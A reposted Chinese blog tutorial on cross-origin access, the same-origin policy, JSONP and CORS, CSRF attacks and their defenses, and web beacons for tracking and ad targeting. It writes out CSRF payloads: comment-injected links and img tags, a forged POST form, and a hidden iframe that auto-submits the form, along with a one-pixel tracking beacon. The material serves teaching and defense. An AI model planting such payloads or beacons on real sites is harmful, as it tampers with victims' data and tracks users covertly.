关于跨域攻击和网络信标【转】
关于跨域攻击和网络信标
一、什么是跨域访问
凡是与主站地址的域名、端口、协议不一致的其他请求,都可以认为是跨域访问。例如某网站的主站地址是https://www.abc.com,但网页又...(地址是https://img.abc.com),这就是一种跨域访问。
二、浏览器的同源策略
所谓的同源策略是浏览器所遵循的一种安全约定。其限制了来自不同源的document或者脚本对当前的document读取或设置某些属性。具体限制如下:
跨源网络访问:AJAX请求。
跨源 DOM 访问:DOM。
跨源脚本API访问: iframe.contentWindow, window.parent, window.open 和 window.opener
如果没有这些限制,那我们就可以肆无忌惮的破坏其他网站的网页了。
三、如何进行跨域访问
跨域访问不是跨域攻击,业务上我们的确有跨域访问的需要。
#### 1、通过标签的src或者href属性。
例如< script >、< img >、< iframe >、< link >,访问静态资源文件虽然是跨域,但不受同源策略限制,因为使用的是标签访问。src属性访问的地址是一次性的get访问,且是主站主动设置,相对安全。
2、form表单提交。
form表单提交到其他域也是被允许的。因为form提交意味着跳转到新的站点,是一个有去无回的页面跳转,不存在对原站点的脚本操作。
3、jsonp访问。
这一般是跨域访问的常用手段,jsonp可以帮助我们从另一方站点获取数据,并作用于本地站点的页面。这是本地站点开发人员的主动行为。jsonp跨域使用的是script标签的跨域功能,通过src属性访问第三方系统并获取返回数组作用于本地函数中。假设在ablog.com的页面中访问bblog.com的服务,可以在页面中写入如下代码,callback参数定义是回调函数:
< script src="http://bblog.com:8083/remote?callback=jsonhandle"></script> <script type="text/javascript"> function jsonhandle(data){ alert("age:" + data.age + "name:" + data.name); } </script>
bblog.com的服务端代码如下,需要按照回调函数名+(json数据)的格式返回:
@GetMapping("/remote") @ResponseBody public String remote(HttpServletRequest request, Model model) { String callback=request.getParameter("callback"); String jsonpStr = callback + "(" + "{\"age\" : 15,\"name\": \"jack\",}"+ ")"; return jsonpStr; }
4、cors跨资源共享。
CORS 需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE 浏览器不能低于 IE10。
四、跨域攻击
跨域攻击可以理解为:诱导受害者访问非法网站,黑客利用受害者的会话信息模拟请求,以达到篡改数据的目的。由此看来,跨域攻击有几个先决条件:
1、要有页面入口,供受害者点击或者页面自动加载。
2、攻击请求可模拟,黑客对目标网站参数进行了深入的研究,从而进行模拟。
第一点的页面入口非常重要,如何在目标网站(地址:http://ablog.com:8080)植入攻击者的代码?假设目标网站有评论功能,攻击者可以将自己的代码输入到评论区,如果目标网站没有XSS防御,则会将攻击者的代码以html的方式显示在网页上,这也就完成了第一点,提供了攻击入口。例如攻击者可以在评论区输入以下内容:
<a href="http://ablog.com:8080/admin/comments/delete?coid=39" >java速成,点我免费领取</a>
或者如下内容:
<img src=''http://ablog.com:8080/admin/comments/delete?coid=39“></img>
以上两个标签都会请求当前服务器,从而进行删除操作。我们也发现到这两个请求都是get请求,如果服务端拒绝接受get请求,只接受post请求,是不是就没招了?毕竟标签里没法模拟post提交。但是攻击者可以模拟表单,代码如下:
<form action="http://ablog.com:8080/admin/comments/delete" method="post">
<input type="hidden" name="coid" value="39" />
<input type="submit" name="button" value="java速成,点我免费领取" />
</form>
将这段代码输入到评论区并显示,依然可以诱导受害者点击,完成post请求。攻击者也可以将更复杂的逻辑封装在自己搭建的网站中,假设黑客网站地址是http://bblog.com:8083,攻击者将参数传递给自己的服务器,实现跨域攻击,在目标网站ablog.com的评论区中留下如下代码:
<a href="http://bblog.com:8083/admin/comments/delete?coid=39" >java速成,点我免费领取</a>
在黑客网站bblog.com里模拟post请求到ablog.com:
<form action="http://ablog.com:8080/admin/comments/delete" method="post">
<input type="hidden" name="coid" value="39" />
<input type="submit" name="button" value="java速成,点我免费领取" />
</form>
由于受害者在ablog.com中的会话仍然保持,这个模拟请求会带上受害者的会话信息,进行删除操作,而对于服务器端来说是无感的。在bblog.com里模拟post请求到ablog.com,为何没有被跨域拦截?上文有提到过,form表单提交是没有跨域限制的,这为跨域攻击也提供了便利。
上述攻击方式还不算隐蔽,毕竟需要受害者点击触发按钮,还需要页面跳转,太low。我们可以使用一个影藏的iframe完成攻击,使得攻击操作神不知鬼不觉。在网站ablog.com评论区中植入如下代码:
<iframe style="display:none;" src="http://bblog.com:8083/csrf?coid=41"></iframe>
form模拟提交的部分依然放在bblog.com中,使用脚本自动执行。部分代码如下:
<script> function dianwoSub() { document.getElementById("dianwoForm").submit(); } </script> <body onload="dianwoSub()"> <div class="container"> <form action="http://ablog.com:8080/admin/comments/delete" method="post" id="dianwoForm"> <input type="hidden" name="coid" value="${coid}" /> <input type="submit" name="button" value="点我" /> </form> </div> </body>
在bblog.com中如果使用ajax来模拟请求攻击ablog.com会被浏览器拦截,ajax脚本如下:
function dianwoSub() { $.ajax({ type: 'post', url: 'http://ablog.com:8080/admin/comments/delete', data: $('#dianwoForm').serialize(), async: false, dataType: 'json', success: function (result) { alert(" delete ok"); } }); }
运行时,浏览器会报如下错误,即ablog和blog非同源,跨域访问被限制:
五、如何避免跨域攻击
1、网站系统一定要有xss防御。
用户的任何输入必须要经过后台的校验,如果出现非法字符一定要拦截,将代码植入入口堵死。
2、系统请求优先使用post提交。
get提交会降低攻击门槛。
3、refer来源判断。
网站系统在接受请求时,判断请求来源是否是可信任的,如果是非法的则需要拦截。
4、增加验证码校验。
在做增删改操作时,强行让用户再次与后台交互,这能很大程度上避免攻击,但是影响用户体验。
5、token校验。
用户在访问某一网页时,后端生成一个随机加密字符串放到session中,用户再次请求时携带此token,后端对比token是否正确,不正确则拦截请求。
六、网络信标
网络信标又名网络臭虫,通过植入第三方代码来收集访问者信息。例如在ablog.com网站中植入如下代码:
<img src="http://bblog.com:8083/netflag" height="1" width="1" ></img>
大小仅为一个像素,用户很难发现。凡是打开植入此代码的网页,都会访问bblog.com,bblog.com后台能够收集到如下信息:
通过以上信息,我们可以给用户设置一个唯一标记,并写入到cookie中,例如bloguser=user_127.0.0.11540367865328。后端同时将此标记以及对应信息保存到数据库中,这样可以跟踪某一特定用户的访问路径。假设一个集团公司的业务范围非常广,其信息化系统包含多个二级域名,比如注册页面是login.blog.com,充值页面是deposit.xyz.com,购物页面是shopping.abc.com等,这些域名的cookie是无法共享的,这时候可以采取网络信标的方式,在所有主页上均植入上述代码,通过第三方cookie的方式,将访问者信息全部串联起来。
网络信标的另外一种使用场景是广告推荐。百度的广告联盟就是很好的例子。我们在百度上搜索一些关键字之后,访问其他网站时(例如CSDN)会发现,为何我刚刚搜索的关键字图片会在CSDN网页上显示?那CSDN很有可能放置了百度的脚本代码。用户在百度上进行搜索之后,百度将搜索关键字写入到用户的cookie信息中,CSDN内置了百度的广告代码,这个代码会访问百度服务器,同时会带上百度之前设置的cookie,百度后台根据关键字来响应相关图片或者文字链接,达到精准投放广告的效果。
现在我们来模拟一下百度广告联盟的效果。假设bblog.com就是百度系统,我们模拟一个搜索页面,并搜索关键字“手机”:
![](http://51think.net/upload/2018/11/253mn0n9e6ic4oesipd8gmqcqv.jpg)
bblog.com的后端将手机写入到cookie,key为sosuoPara:
setCookie(response,"sosuoPara",sosuoPara,60*60); bblog.com的合作网站ablog.com内置了bblog.com广告代码: <div class="card mb-3"> <div class="card-header"> 广告页 </div> <div class="card-body"> <iframe src="http://bblog.com:8083/guanggao"></iframe> </div> </div>
这段广告代码的后端逻辑是取出cookie信息,得到搜索关键字,后端进行匹配处理,返回给前端广告。这时候我们看一下ablog.com的主页广告,见如下红框位置:
posted on 2020-04-06 18:55 DeeperMiner 阅读(602) 评论(0) 编辑 收藏 举报